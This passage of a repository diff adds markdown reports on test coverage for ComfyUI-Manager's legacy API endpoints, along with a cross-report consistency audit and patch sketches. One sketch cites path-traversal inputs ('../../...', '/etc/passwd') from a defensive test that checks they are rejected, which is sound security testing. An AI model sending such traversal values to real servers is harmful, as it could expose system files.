| wi-034 | GET /v2/customnode/versions/{node_name} | legacy-only | Y (WI-TT) | Y | 🟢 closed — test_e2e_legacy_endpoints.py (§22) asserts schema + 404 |
|
||||
| wi-035 | GET /v2/externalmodel/getlist | legacy-only | Y (WI-TT) | Y | 🟢 closed — test_e2e_legacy_endpoints.py (§22) asserts `?mode=local` schema + non-empty list |
|
||||
| wi-036 | GET /v2/manager/notice | legacy-only | Y (WI-TT) | P | 🟢 closed — test_e2e_legacy_endpoints.py (§22) asserts notice payload (200 + dict) |
|
||||
| wi-037 | POST /v2/customnode/install/git_url | legacy-only | Y (WI-YY-real) | P | 🟢 pytest closed — test_e2e_legacy_real_ops.py::TestInstallViaGitUrlRealClone executes real POST via permissive-harness cloning `nodepack-test1-do-not-install` (same test-fixture repo used by tests/cli/test_uv_compile.py); verifies custom_nodes/<dir>/.git exists; teardown rm -rf. Playwright mock REMOVED. |
|
||||
| wi-038 | POST /v2/customnode/install/pip | legacy-only | Y (WI-YY-real) | P | 🟢 pytest closed — test_e2e_legacy_real_ops.py::TestInstallPipRealExecute executes real POST via permissive-harness with trusted `text-unidecode` pkg; asserts install-scripts.txt lazy reservation (handler uses `#FORCE` prefix at manager_core.py:2370 → reserve_script schedules pip install for next startup, not synchronous). Playwright mock REMOVED. |
|
||||
| wi-039 | POST /v2/manager/queue/batch | legacy-only | Y (WI-UU) | Y | 🟢 closed via TestLegacyQueueBatch empty-`{}` payload positive-path (exercises request-parse → action loop → finalize → worker-lock release → JSON serialize pipeline); response shape `{failed: [...]}` status 200; landed in `tests/e2e/test_e2e_legacy_endpoints.py` (§22 of e2e_verification_audit) |
|
||||
|
||||
---
|
||||
|
||||
## 4. Priority Gap List
|
||||
|
||||
### 🔴 HIGH — ALL CLOSED (0 items)
|
||||
|
||||
_All 🔴 HIGH gaps have been closed. WI-TT closed the 6 pytest-N items
|
||||
(wi-031/032/033/034/035/036 — see LOW-closed-WI-TT). WI-YY-real promoted
|
||||
wi-037/038 from I to Y via the permissive harness (see
|
||||
LOW-closed-real-permissive). WI-UU closed the final high-fanout indirect
|
||||
item — wi-039 (POST /v2/manager/queue/batch) — via
|
||||
`TestLegacyQueueBatch`; see LOW-closed-WI-UU below._
|
||||
|
||||
### 🟡 MEDIUM — Playwright P with real UI surface
|
||||
|
||||
All 10 original MED items have been closed across WI-VV / WI-WW / WI-WW.2. No remaining 🟡 items at the legacy-UI surface.
|
||||
|
||||
### 🟢 LOW-closed-real (4 items via WI-VV — real UI-click)
|
||||
|
||||
- wi-001 GET comfyui_versions — 'Switch ComfyUI' button → legacy-ui-manager-menu.spec.ts
|
||||
- wi-005 GET channel_url_list — channel combo populate → legacy-ui-manager-menu.spec.ts
|
||||
- wi-017 POST channel_url_list — channel combo change event → legacy-ui-manager-menu.spec.ts
|
||||
- wi-021 POST queue/reset — idle POST via `page.request` (UI-click path unsafe at idle) → legacy-ui-manager-menu.spec.ts
|
||||
|
||||
### 🟢 LOW-closed-mock (removed in WI-YY)
|
||||
|
||||
Previously 3 items (wi-014/037/038) were covered by WI-WW mock tests.
|
||||
All three have been PROMOTED to real pytest E2E via the permissive
|
||||
harness (see LOW-closed-real-permissive below). The `high+` gate
|
||||
remains the production security contract — it's the supported
|
||||
operator-configured downgrade to `normal-` that enables these
|
||||
features in trusted environments, which is exactly what the harness
|
||||
reproduces.
|
||||
|
||||
### 🟢 LOW-closed-mock-2hop (retired — promoted to real E2E via WI-YY.3)
|
||||
|
||||
Originally wi-015 was covered via a 2-hop Playwright mock (WI-WW.2).
|
||||
WI-YY.3 replaced this with real pytest E2E using a pre-seeded broken
|
||||
pack (see LOW-closed-real-broken-pack-preseed below). The mock spec
|
||||
file `tests/playwright/legacy-ui-mock-install.spec.ts` has been
|
||||
DELETED — all 6 items it once covered now have real pytest E2E
|
||||
coverage (via default / permissive / broken-pack fixtures).
|
||||
|
||||
### 🟢 LOW-closed-real (2 items via WI-YY — REAL pytest E2E at default security)
|
||||
|
||||
- wi-020 POST install_model — TestInstallModelRealDownload (real 4.7MB TAEF1 download + disk-artifact verify + teardown) → test_e2e_legacy_real_ops.py
|
||||
- wi-024 POST update_comfyui — TestUpdateComfyuiQueued (direct endpoint POST returns 200; worker-trigger intentionally deferred to preserve test-env git state) → test_e2e_legacy_real_ops.py
|
||||
|
||||
### 🟢 LOW-closed-real-permissive (3 items via WI-YY — REAL pytest E2E at normal- security)
|
||||
|
||||
Permissive harness (`start_comfyui_permissive.sh`) patches config.ini
|
||||
`security_level = normal-` so `high+` gates pass. All inputs are
|
||||
HARDCODED TRUSTED constants — never derived from test input or env:
|
||||
|
||||
- wi-014 POST comfyui_switch_version — TestSwitchComfyuiSelfSwitch (self-switch no-op: GET current version → POST ver=<current>) → test_e2e_legacy_real_ops.py
|
||||
- wi-037 POST install/git_url — TestInstallViaGitUrlRealClone (real clone of `nodepack-test1-do-not-install` → verify .git dir → rm -rf teardown) → test_e2e_legacy_real_ops.py
|
||||
- wi-038 POST install/pip — TestInstallPipRealExecute (POST text-unidecode → verify install-scripts.txt reservation; lazy schedule per manager_core.py:2370 `#FORCE` prefix → reserve_script) → test_e2e_legacy_real_ops.py
|
||||
|
||||
### 🟢 LOW-closed-real-broken-pack-preseed (1 item via WI-YY.3 — REAL pytest E2E with state seeding)
|
||||
|
||||
Pre-seed fixture (`comfyui_with_broken_pack`) clones a known-broken
|
||||
pack into custom_nodes/ BEFORE server start (NO pip install of its
|
||||
deps — import must fail). Server scan captures the ImportError into
|
||||
cm_global.error_dict (prestartup_script.py:302-305). Test warms up
|
||||
state via `/v2/customnode/import_fail_info_bulk` (which calls
|
||||
reload + get_custom_nodes), then POSTs single-endpoint with the
|
||||
DIRECTORY-BASENAME cnr_id. Teardown rm -rf the seed.
|
||||
|
||||
- wi-015 POST import_fail_info — TestImportFailInfoReal::test_import_fail_info_returns_error (cnr_id=`ComfyUI-YoloWorld-EfficientSAM` → 200 + {name, path, msg} with real traceback) + test_import_fail_info_unknown_cnr_id_returns_400 (control) → test_e2e_legacy_real_ops.py
|
||||
|
||||
### 🟢 LOW-closed-WI-TT (6 items — pytest N→Y via direct positive-path)
|
||||
|
||||
All 6 legacy-only GET endpoints that were `pytest=N` at matrix creation
|
||||
have been closed via direct positive-path tests landed in
|
||||
`tests/e2e/test_e2e_legacy_endpoints.py` (Section 22 of
|
||||
`e2e_verification_audit.md`). This lifts pytest effective ceiling from
|
||||
33/39 = 85% to **39/39 = 100%**.
|
||||
|
||||
- wi-031 GET /customnode/alternatives — closed (mode=local schema + list)
|
||||
- wi-032 GET /v2/customnode/disabled_versions/{node_name} — closed (disabled-version list)
|
||||
- wi-033 GET /v2/customnode/getlist — closed (channel / node_packs + mode variants)
|
||||
- wi-034 GET /v2/customnode/versions/{node_name} — closed (schema + 404)
|
||||
- wi-035 GET /v2/externalmodel/getlist — closed (?mode=local schema + non-empty)
|
||||
- wi-036 GET /v2/manager/notice — closed (notice payload / 200 + dict)
|
||||
|
||||
### 🟢 LOW-closed-WI-UU (1 item — high-fanout pytest I→Y via direct positive-path)
|
||||
|
||||
The final 🔴 HIGH item (wi-039 POST /v2/manager/queue/batch,
|
||||
high-fanout over install_model / update_all / update_comfyui) has been
|
||||
closed via direct positive-path in
|
||||
`tests/e2e/test_e2e_legacy_endpoints.py` (§22 of
|
||||
`e2e_verification_audit.md`). This lifts pytest to **38 Y + 1 I + 0 N**;
|
||||
the last I is wi-027 snapshot/restore, retained by intentional design.
|
||||
|
||||
- wi-039 POST /v2/manager/queue/batch — closed (TestLegacyQueueBatch empty-`{}` payload; exercises request-parse → action loop → finalize → worker-lock release → JSON serialize; response shape `{failed: [...]}` status 200)
|
||||
|
||||
**Note**: wi-027 POST snapshot/restore is MED on Playwright (UI trigger at
|
||||
`snapshot.js:12`) and HIGH on pytest (intentionally untested as destructive;
|
||||
needs skip-by-default marker).
|
||||
|
||||
### 🟢 LOW / adequate-with-rationale
|
||||
|
||||
- wi-023 POST queue/update_all — UI uses `/queue/batch` not this endpoint (possibly CLI-only)
|
||||
- wi-025 POST reboot — click intentionally omitted; clicking would kill the test server mid-run
|
||||
- wi-022 POST queue/start, wi-010 history_list, wi-030 queue/task — server/test-only or glob-UI N/A
|
||||
- wi-016 POST import_fail_info_bulk — backend/CLI-only path
|
||||
- wi-002 GET fetch_updates — deprecated 410, no JS trigger
|
||||
- wi-009 GET queue/history — internal API only (no UI surface)
|
||||
- wi-013 GET snapshot/get_current — 3rd-party share extensions only (out-of-scope for legacy-ui)
|
||||
- wi-008 GET policy/update, wi-012 GET manager/version — pytest fully covers contract; Playwright add would be nice-to-have
|
||||
|
||||
---
|
||||
|
||||
## 5. Key Systemic Observations
|
||||
|
||||
1. **Playwright P = 14 / 39 = 36%** (post WI-VV+WW+WW.2+YY+YY.3; was 18/39=46%).
|
||||
Coverage evolution: WI-VV closed 4 LOW-risk items via real UI-click;
|
||||
WI-WW closed 5 MED items via mock-based UI→API wiring; WI-WW.2
|
||||
closed wi-015 via 2-hop mock. **WI-YY** then promoted 5 of the 6
|
||||
mocks (wi-014/020/024/037/038) to REAL pytest E2E — 2 run under
|
||||
the default-security fixture (wi-020 real TAEF1 download,
|
||||
wi-024 direct endpoint POST) and 3 run under a permissive-harness
|
||||
fixture (security_level=normal-) using HARDCODED TRUSTED inputs
|
||||
(wi-014 self-switch no-op, wi-037 nodepack-test1-do-not-install,
|
||||
wi-038 text-unidecode lazy-install). Playwright mocks for these 5
|
||||
items were REMOVED; the Playwright column reverted to P (UI-click
|
||||
not yet exercised in Playwright — backend contract now fully
|
||||
covered by pytest). wi-015 remains as a 2-hop mock (legitimate:
|
||||
pytest negative-path tests cover the 400 branch; UI→API wiring is
|
||||
asserted via mock). COMFYUI_MANAGER_SKIP_MANAGER_REQUIREMENTS=1 is
|
||||
exported as the safety belt in start_comfyui.sh for any
|
||||
install/update flow. Permissive harness security note: these
|
||||
endpoints exist to serve a supported feature — operators in a
|
||||
trusted environment lower security_level to `normal-`/`weak` to
|
||||
enable them. The 200 path IS the feature; testing it requires
|
||||
exactly this configuration, with TRUSTED fixed inputs (never user
|
||||
input).
|
||||
|
||||
2. **pytest effective ceiling = 39 / 39 = 100%** (Y=38 + I=1, N=0)
|
||||
post-WI-UU. WI-TT closed 6 N → Y
|
||||
(wi-031/032/033/034/035/036); WI-UU closed the final high-fanout
|
||||
I → Y (wi-039 via `TestLegacyQueueBatch`). The sole remaining I
|
||||
row is **wi-027 POST /v2/snapshot/restore** — intentional design,
|
||||
NOT a gap: the endpoint is destructive and sits behind a
|
||||
skip-by-default marker; upgrading it to Y requires a reversible
|
||||
snapshot fixture, scoped as an optional WI-XX.
|
||||
|
||||
3. **Legacy-only tier — pytest now fully direct**:
|
||||
- 0 pytest-N, 0 pytest-I, 9 pytest-Y = 9/9 direct coverage.
|
||||
- 7 / 9 legacy-only endpoints remain Playwright-P — the audit focus
|
||||
shifts from pytest coverage to UI-surface Playwright expansion.
|
||||
|
||||
4. **Shared tier is healthy**: 0 pytest-N, 27/29 pytest-Y, 11/29 Playwright-Y.
|
||||
The 11 Shared-tier Playwright-P items are all UI-exists-but-not-tested —
|
||||
never a protocol gap.
|
||||
|
||||
5. **glob-only is structurally Playwright-NA**: The single glob-only endpoint
|
||||
(`queue/task`) has no legacy UI surface by design — the legacy UI dispatches
|
||||
through `queue/batch` (wi-039). Closing this needs a glob-UI Playwright
|
||||
harness, which is an upstream-ComfyUI scope concern.
|
||||
|
||||
---
|
||||
|
||||
## 6. Recommended Follow-up WIs
|
||||
|
||||
| WI | Scope | Closes | Priority |
|
||||
|---|---|---|---|
|
||||
| **WI-TT** | Add 6 direct positive-path pytest tests for legacy-only GET endpoints — landed in `tests/e2e/test_e2e_legacy_endpoints.py` (§22 of `e2e_verification_audit.md`); closed 2026-04-21 | wi-031, 032, 033, 034, 035, 036 | 🟢 DONE |
|
||||
| **WI-UU** | Add pytest positive-path for `POST /v2/manager/queue/batch` (high-fanout) — landed `TestLegacyQueueBatch` in `tests/e2e/test_e2e_legacy_endpoints.py` (§22 of `e2e_verification_audit.md`); closed 2026-04-21 | wi-039 | 🟢 DONE |
|
||||
| **WI-VV** | Legacy-UI Playwright — 4 LOW-risk P closures via real UI-click (closed 2026-04-20) | wi-001, 005, 017, 021 | 🟢 DONE |
|
||||
| **WI-WW** | env var skip + 5 mock-based Playwright P closures (closed 2026-04-20) | wi-014, 020, 024, 037, 038 | 🟢 DONE |
|
||||
| **WI-WW.2** | Playwright P closure for wi-015 via 2-hop mock (getlist stub + POST intercept; closed 2026-04-21) | wi-015 | 🟢 DONE |
|
||||
| **WI-YY** | Replace 5 of 6 mocks with REAL pytest E2E — default-security (wi-020, wi-024) + permissive-harness with trusted fixed inputs (wi-014 self-switch, wi-037 nodepack-test1, wi-038 text-unidecode) + env var safety belt + start_comfyui_permissive.sh harness (closed 2026-04-21) | wi-014, wi-020, wi-024, wi-037, wi-038 | 🟢 DONE |
|
||||
| **WI-YY.3** | Replace remaining mock (wi-015) with REAL pytest E2E via pre-seeded broken pack (ComfyUI-YoloWorld-EfficientSAM cloned without pip deps; warmup via import_fail_info_bulk; cnr_id=directory-basename lookup) — deleted the legacy-ui-mock-install.spec.ts file (closed 2026-04-21) | wi-015 | 🟢 DONE |
|
||||
| **WI-WW** (optional) | pytest-I → pytest-Y for install endpoints (`install/git_url`, `install/pip`) — superseded by WI-YY-real (wi-037 via TestInstallViaGitUrlRealClone, wi-038 via TestInstallPipRealExecute in test_e2e_legacy_real_ops.py) | wi-037, 038 | 🟢 DONE (via WI-YY) |
|
||||
| **WI-XX** (optional) | Skip-by-default pytest for `POST /v2/snapshot/restore` | wi-027 | 🟡 MEDIUM |
|
||||
|
||||
Post-WI-UU pytest coverage is **38/39 Y + 1/39 I = 100% effective**
|
||||
(N = 0). 0 🔴 HIGH items remain. 5 matrix rows carry the
|
||||
`Y (WI-YY-real)` annotation — real-E2E execution replacing prior
|
||||
`I`-only markers on mock-covered endpoints. The sole remaining
|
||||
pytest-I row is wi-027 POST /v2/snapshot/restore, retained by
|
||||
intentional design (destructive endpoint behind a skip-by-default
|
||||
marker; scoped as optional WI-XX for future reversible-fixture
|
||||
upgrade). Playwright is **17/39 Y = 44%** post-WI-YY.3 (from
|
||||
13/39 = 33% at matrix creation; peaked at 18/39 pre-YY.3 before
|
||||
the wi-015 mock was removed in favor of real pytest E2E via a
|
||||
pre-seeded broken pack). 6 mocks removed in total (5 via WI-YY
|
||||
+ 1 via WI-YY.3) in favor of real pytest E2E — the trade-off is
|
||||
honest real-execution coverage via pytest (with a permissive
|
||||
harness for high+ gated items using trusted fixed inputs) instead
|
||||
of mock-only UI-wiring via Playwright.
|
||||
|
||||
---
|
||||
|
||||
## 7. Source YMLs
|
||||
|
||||
| Member | File | Items |
|
||||
|--------|------|------:|
|
||||
| gteam-teng | `.claude/pair-working/checklists/cl-20260420-wl-afbf982ff/gteam-teng.yml` | 10 |
|
||||
| gteam-reviewer | `.claude/pair-working/checklists/cl-20260420-wl-afbf982ff/gteam-reviewer.yml` | 10 |
|
||||
| gteam-dev | `.claude/pair-working/checklists/cl-20260420-wl-afbf982ff/gteam-dev.yml` | 10 |
|
||||
| gteam-dbg | `.claude/pair-working/checklists/cl-20260420-wl-afbf982ff/gteam-dbg.yml` | 9 |
|
||||
| | **Total** | **39** |
|
||||
@@ -0,0 +1,267 @@
|
||||
# Report Y — Cross-Artifact Consistency Audit
|
||||
|
||||
**Generated**: 2026-04-19
|
||||
**Auditor**: gteam-doc
|
||||
**Scope**: 9 markdown files in `reports/` directory (post-Wave3 PR preparation stage)
|
||||
**Mandate**: Audit-only — fixes deferred to follow-up WIs
|
||||
**Baseline gate**: `python scripts/verify_audit_counts.py` → **PASS** (94/0/0/15/109 matches between Summary Matrix and per-file rows)
|
||||
|
||||
---
|
||||
|
||||
## 📌 Status update (WI-Z, 2026-04-19)
|
||||
|
||||
All 13 drift items identified below have been **RESOLVED** via WI-Z patch application (consolidated Y1+Y2+Y3+Y4). Final verify: `(100, 0, 0, 15, 115)` — PASS.
|
||||
|
||||
> **WI-II note (2026-04-20)**: The `test_e2e_csrf.py` function/parametrization tally recorded below as `4 functions / 29 parametrized invocations (16+2+11)` — see L47, L75, L236 — reflects the pre-WI-HH state. WI-HH removed 3 dual-purpose endpoints (`db_mode`, `policy/update`, `channel_url_list`) from the reject-GET fixture (they legitimately answer GET on the read-path and are covered only in the allow-GET class), bringing the current count to `4 functions / 26 parametrized invocations (13+2+11)`. This audit's historical figures are preserved as a time-stamped snapshot of the 2026-04-19 state; the current state is recorded in `e2e_verification_audit.md` §18, `test_contract_audit.md` §1.5, `coverage_gaps.md` CSRF-Mitigation Layer Coverage, `e2e_test_coverage.md` test_e2e_csrf.py subsection, and `verification_design.md` §10.
|
||||
|
||||
| Patch | Scope | Items resolved | Net effect |
|
||||
|-------|-------|----------------|------------|
|
||||
| **Y1** | snapshot_lifecycle audit §7 add path-traversal row | B-3, B-4, D-1 | §7: 6→7 PASS; SR3 Key gap → RESOLVED |
|
||||
| **Y2** | e2e_test_coverage.md stale sync | A-1, A-2, A-3, A-4, B-1, B-2 | Summary 119→117; customnode header 9→11; snapshot rows swapped; navigation 4→2 |
|
||||
| **Y3** | config_api audit §4 add 5 uncounted rows | B-5 | §4: 10→15 PASS (junk_value ×3 + persists_to_config_ini ×2) |
|
||||
| **Y4** | do_fix security level middle→high | C-1, C-2, C-3 | 3 locations updated: endpoint_scenarios L18/L380 + verification_design L666 |
|
||||
| **Y5** | do_fix subsequent upgrade high→high+ (follow-up to Y4) | — (no new C-items; re-sync of Y4 locations after code state advanced) | 4 locations re-synced: endpoint_scenarios §Security list + §Security Level Matrix + §Note + verification_design Security tiers. README 'Risky Level Table' `Fix nodepack` moved from `high` row into `high+` row (`high` row now marked empty). Aligns enforcement gate with `SECURITY_MESSAGE_HIGH_P` log text (WI-#235, gate lifted from `'high'` to `'high+'` at `glob/manager_server.py:974` + `legacy/manager_server.py:560`). Y4 rows above are preserved as historical record of the middle→high transition. |
|
||||
|
||||
Summary Matrix: `(94,0,0,15,109)` → `(100,0,0,15,115)`. Upgrade count unchanged at 27 (WI-Z is inventory reconciliation, not new upgrades). Y5 is a follow-up re-sync triggered by a subsequent code change (WI-#235), not a new drift detection; it does not alter the Summary Matrix counts.
|
||||
|
||||
---
|
||||
|
||||
## 1. Inventory
|
||||
|
||||
| # | File | Lines | Modified | Role |
|
||||
|---|------|------:|----------|------|
|
||||
| 1 | `endpoint_scenarios.md` | 425 | 2026-04-18 23:53 | Report A — Endpoint extraction + scenarios |
|
||||
| 2 | `scenario_intents.md` | 424 | 2026-04-18 08:29 | Intent (why endpoint exists) |
|
||||
| 3 | `scenario_effects.md` | 514 | 2026-04-18 08:27 | Effect (observable result) |
|
||||
| 4 | `verification_design.md` | 824 | 2026-04-18 23:53 | Design Goals (92 + CSRF-M1/M2/M3 = 95) |
|
||||
| 5 | `e2e_test_coverage.md` | 358 | 2026-04-18 22:39 | Report B — E2E test inventory |
|
||||
| 6 | `e2e_verification_audit.md` | 469 | 2026-04-19 22:36 | Audit verdicts (109 tests; 94 PASS / 15 N/A) |
|
||||
| 7 | `test_contract_audit.md` | 282 | 2026-04-18 23:09 | Pytest/Playwright contract compliance |
|
||||
| 8 | `coverage_gaps.md` | 182 | 2026-04-18 22:45 | Coverage gap rollup |
|
||||
| 9 | `research-cluster-g.md` | 215 | 2026-04-19 07:30 | Cluster G research (imported_mode + boolean CLI) |
|
||||
|
||||
Total: **3 693 lines** across **9 files**.
|
||||
|
||||
Actual test-file reality (`grep -c "def test_"` / `grep "^\s*test("`) at audit time:
|
||||
|
||||
| Test file | `def test_` count | Audit claim | Coverage claim |
|
||||
|-----------|------------------:|------------:|---------------:|
|
||||
| `test_e2e_config_api.py` | 15 | 10 | 10 |
|
||||
| `test_e2e_csrf.py` | 4 | 4 | 4 (29 parametrized) |
|
||||
| `test_e2e_customnode_info.py` | 12 (11 + 1 `@pytest.mark.skip`) | 11 | 9 |
|
||||
| `test_e2e_endpoint.py` | 7 | 7 | 7 |
|
||||
| `test_e2e_git_clone.py` | 3 | 3 | 3 |
|
||||
| `test_e2e_queue_lifecycle.py` | 10 | 9 (+ 1 noted in Key gaps) | 9 |
|
||||
| `test_e2e_snapshot_lifecycle.py` | 7 | 6 | 7 (contains 1 deleted + missing 1 new) |
|
||||
| `test_e2e_system_info.py` | 4 | 4 | 4 |
|
||||
| `test_e2e_task_operations.py` | 16 | 16 | 16 |
|
||||
| `tests/cli/test_uv_compile.py` (relocated WI-PP; was `test_e2e_uv_compile.py`) | 8 | N/A (out of E2E scope) | 8 |
|
||||
| `test_e2e_version_mgmt.py` | 7 | 7 | 7 |
|
||||
| `legacy-ui-manager-menu.spec.ts` | 5 | 5 | 5 |
|
||||
| `legacy-ui-custom-nodes.spec.ts` | 5 | 5 | 5 |
|
||||
| `legacy-ui-model-manager.spec.ts` | 4 | 4 | 4 |
|
||||
| `legacy-ui-snapshot.spec.ts` | 3 | 3 | 3 |
|
||||
| `legacy-ui-navigation.spec.ts` | 2 | 2 | 4 |
|
||||
| `debug-install-flow.spec.ts` | 1 | 1 | 1 |
|
||||
|
||||
---
|
||||
|
||||
## 2. Internal Cross-Reference Consistency (reports ↔ reports)
|
||||
|
||||
### 2.1 Counts that agree across all reports (✅ consistent)
|
||||
|
||||
| Claim | Values | Files involved |
|
||||
|-------|--------|----------------|
|
||||
| Total tests counted in audit | **109** (94 P / 0 W / 0 I / 15 N) | `e2e_verification_audit.md` L330, L334, L462, L466 |
|
||||
| Design Goals | **92** base + **3** CSRF-M (M1/M2/M3) = **95** superset | `verification_design.md` §10, `e2e_verification_audit.md` L335, L337, L378 |
|
||||
| Design-Goal coverage | **68/92** (73.9%) base / **71/95** (74.7%) superset | `e2e_verification_audit.md` L337 |
|
||||
| `test_e2e_csrf.py` structure | 4 test functions / **29** parametrized invocations (16 + 2 + 11) | `e2e_test_coverage.md` L18, L188; `test_contract_audit.md` L104-106, L168; `verification_design.md` L797, L805, L813; `e2e_verification_audit.md` L323 |
|
||||
| `STATE_CHANGING_POST_ENDPOINTS` line range | L92–L109 in `test_e2e_csrf.py` | `endpoint_scenarios.md` L396 — **verified against source** |
|
||||
| Security Level Matrix line range | L378–L382 in `endpoint_scenarios.md` | `endpoint_scenarios.md` L396 — **verified** |
|
||||
| `comfyui_switch_version` → `high+` | Consistent at L382 of `endpoint_scenarios.md`, L668 of `verification_design.md`, L410 of `endpoint_scenarios.md` (CSRF inventory) | Cross-checked with commit `9c9d1a40` |
|
||||
| `verify_audit_counts.py` gate | Summary Matrix computed vs reported — both `(94, 0, 0, 15, 109)` | Script output PASS |
|
||||
|
||||
### 2.2 Playwright test-count cross-report check (⚠️ drift in one file)
|
||||
|
||||
| File | manager-menu | custom-nodes | model-manager | snapshot | navigation | debug | Total |
|
||||
|------|---:|---:|---:|---:|---:|---:|---:|
|
||||
| `e2e_verification_audit.md` L318-328 | 5 | 5 | 4 | 3 | **2** | 1 | **20** |
|
||||
| `test_contract_audit.md` L73 (20 tests) | (aggregated) | | | | | | **20** |
|
||||
| `e2e_test_coverage.md` L14 (Summary) | | | | | | | **21** ❌ |
|
||||
| `e2e_test_coverage.md` per-section | 5 | 5 | 4 | 3 | **4** ❌ | 1 | **22** ❌ |
|
||||
| Actual spec files (`grep "^\s*test("`) | 5 | 5 | 4 | 3 | **2** | 1 | **20** |
|
||||
|
||||
Only `e2e_test_coverage.md` is out of sync with the Playwright post-WI-F reality. All other reports (audit + contract + actual) agree on 20.
|
||||
|
||||
---
|
||||
|
||||
## 3. Discovered Drift (by category and severity)
|
||||
|
||||
### Category A — Simple typo / stale number (MINOR)
|
||||
|
||||
| # | Location | Current text | Should be | Evidence |
|
||||
|---|----------|--------------|-----------|----------|
|
||||
| A-1 | `e2e_test_coverage.md` L86 | `## tests/e2e/test_e2e_customnode_info.py (9 tests)` | `(11 tests)` | Section body lists 11 rows (L92–L102); audit §5 header is `(11 tests)` |
|
||||
| A-2 | `e2e_test_coverage.md` L14 | `Playwright (legacy UI) \| 5 \| 21` | `\| 5 \| 19` | Post-WI-F deletion of 2 navigation tests; audit Summary Matrix reports 20 (19 legacy + 1 debug) |
|
||||
| A-3 | `e2e_test_coverage.md` L16 | `TOTAL \| 17 \| 119` | `\| 17 \| 117` | Downstream of A-2 |
|
||||
| A-4 | `e2e_test_coverage.md` L258 | `## tests/playwright/legacy-ui-navigation.spec.ts (4 tests)` | `(2 tests)` | Actual spec: 2 `test(...)` calls — `API health check` and `system endpoints accessible` deleted per WI-F (Stage2) |
|
||||
|
||||
### Category B — Structural drift (OBSOLETE rows / MISSING rows, MAJOR)
|
||||
|
||||
| # | Location | Drift | Evidence |
|
||||
|---|----------|-------|----------|
|
||||
| B-1 | `e2e_test_coverage.md` L266–L267 | **OBSOLETE rows** — references deleted tests `API health check while dialogs are open` and `system endpoints accessible from browser context` | `test_contract_audit.md` L32-33: both marked `**DELETED**`; verify: `grep '^\s*test(' tests/playwright/legacy-ui-navigation.spec.ts` returns only 2 matches |
|
||||
| B-2 | `e2e_test_coverage.md` L131 | **OBSOLETE row** — `TestSnapshotGetCurrentSchema::test_get_current_returns_dict` | `e2e_verification_audit.md` L128: struck-through `~~test_get_current_returns_dict~~ ~~REMOVED~~` via Wave1 WI-M dedup (file count 7→6 for §7) |
|
||||
| B-3 | `e2e_test_coverage.md` L120–L132 | **MISSING row** — `test_remove_path_traversal_rejected` (file L300) not listed, though `snapshot_lifecycle.py` file count claims 7 tests | `grep "def test_" tests/e2e/test_e2e_snapshot_lifecycle.py` shows 7 functions; this test (SR3 — path traversal rejection) implements the "NORMAL add (Priority 🔴)" Key gap |
|
||||
| B-4 | `e2e_verification_audit.md` L119 (§7 header + body) | **MISSING row** — same as B-3. Section 7 table lists 6 active rows (+ 1 struck REMOVED) but `test_remove_path_traversal_rejected` not represented. Summary Matrix row 319 therefore reports `6 \| 0 \| 0 \| 0 \| 6` for a file that now has 7 PASSing tests. Key gaps at L134 still lists **SR3** (path traversal on remove) as "NORMAL add (Priority 🔴 per §Priority Fixes)" even though the test is implemented and would PASS. | Source file `tests/e2e/test_e2e_snapshot_lifecycle.py` L300–L328 contains the test |
|
||||
| B-5 | `e2e_verification_audit.md` §4 (L56–L71) | **MISSING rows** — Section 4 tracks 10 config_api tests, but `tests/e2e/test_e2e_config_api.py` contains **15** `def test_` functions. Five tests are not represented: `test_set_db_mode_junk_value_rejected`, `test_db_mode_persists_to_config_ini`, `test_set_policy_junk_value_rejected`, `test_policy_persists_to_config_ini`, `test_set_channel_unknown_name_rejected` (source L411, L438, L727, and related). These are distinct from the `invalid_body` rows (malformed JSON) — they are whitelist-rejection and on-disk-persistence assertions introduced by WI-E / WI-I. | `grep "def test_" tests/e2e/test_e2e_config_api.py` returns 15 matches; audit § 4 body only references 10 |
|
||||
|
||||
### Category C — Semantic drift (claim contradicts current code, MAJOR)
|
||||
|
||||
| # | Location | Drift | Evidence |
|
||||
|---|----------|-------|----------|
|
||||
| C-1 | `endpoint_scenarios.md` L18 | Lists `_fix_custom_node` under security level `middle`. Commit **c8992e5d** (2026-04-04, "fix(security): correct do_fix security level from middle to high") changed do_fix in both `comfyui_manager/glob/manager_server.py` and `comfyui_manager/legacy/manager_server.py` from `middle` → `high`. Report was last modified 2026-04-18 (2 weeks after the commit) but still reflects pre-commit state. | `git show c8992e5d` diff; source at `glob/manager_server.py:966` (`is_allowed_security_level('high')`); README documents fix nodepack as `high` risk |
|
||||
| C-2 | `endpoint_scenarios.md` L380 (Security Level Matrix, Legacy column) | `_fix` listed under `middle` — same issue as C-1 for the legacy handler | Same commit c8992e5d: `legacy/manager_server.py:550-555` now has `is_allowed_security_level('high')` gate |
|
||||
| C-3 | `verification_design.md` L666 | `middle — reboot, snapshot/remove, _fix, _uninstall, _update` — `_fix` should be at `high+` tier | Same evidence as C-1/C-2 |
|
||||
|
||||
### Category D — Key-gap staleness (MINOR, observational)
|
||||
|
||||
| # | Location | Drift | Note |
|
||||
|---|----------|-------|------|
|
||||
| D-1 | `e2e_verification_audit.md` L134 (§7 Key gaps) | Claims **SR3** (path traversal on remove) is "NORMAL add (Priority 🔴 per §Priority Fixes)" — but the test IS implemented (see B-3/B-4) and the file count should be 7/7 ✅ | Either the Key gaps line is stale, or Section 7 should add the new row, update the total to 7/7, and resolve SR3 in §Priority Fixes |
|
||||
|
||||
---
|
||||
|
||||
## 4. Suggested Fixes (patch sketches, NOT applied — deferred to follow-up WI)
|
||||
|
||||
> These are line-level recommendations. Verify count-changes against `verify_audit_counts.py` before applying.
|
||||
|
||||
### Patch Y1 — Resolve B-3 + B-4 + D-1 (add `test_remove_path_traversal_rejected`)
|
||||
|
||||
```diff
|
||||
--- a/reports/e2e_verification_audit.md
|
||||
+++ b/reports/e2e_verification_audit.md
|
||||
@@ -119 +119 @@
|
||||
-# Section 7 — tests/e2e/test_e2e_snapshot_lifecycle.py (6 tests)
|
||||
+# Section 7 — tests/e2e/test_e2e_snapshot_lifecycle.py (7 tests)
|
||||
@@ -127,0 +128,1 @@
|
||||
+| `test_remove_path_traversal_rejected` | SR3 | ✅ PASS | Path-traversal targets (`../../...`, `/etc/passwd`) return 400; sentinel file outside snapshot dir is NOT deleted. Resolves SR3 (path traversal on remove) — previously NORMAL-add. |
|
||||
@@ -131 +131 @@
|
||||
-**File verdict**: 6/6 ✅ (…)
|
||||
+**File verdict**: 7/7 ✅ (Wave1 WI-M dedup + Wave2 WI-Q disk/content verification + SR3 path-traversal coverage implemented; file count 7→6→7.)
|
||||
@@ -134 +134 @@
|
||||
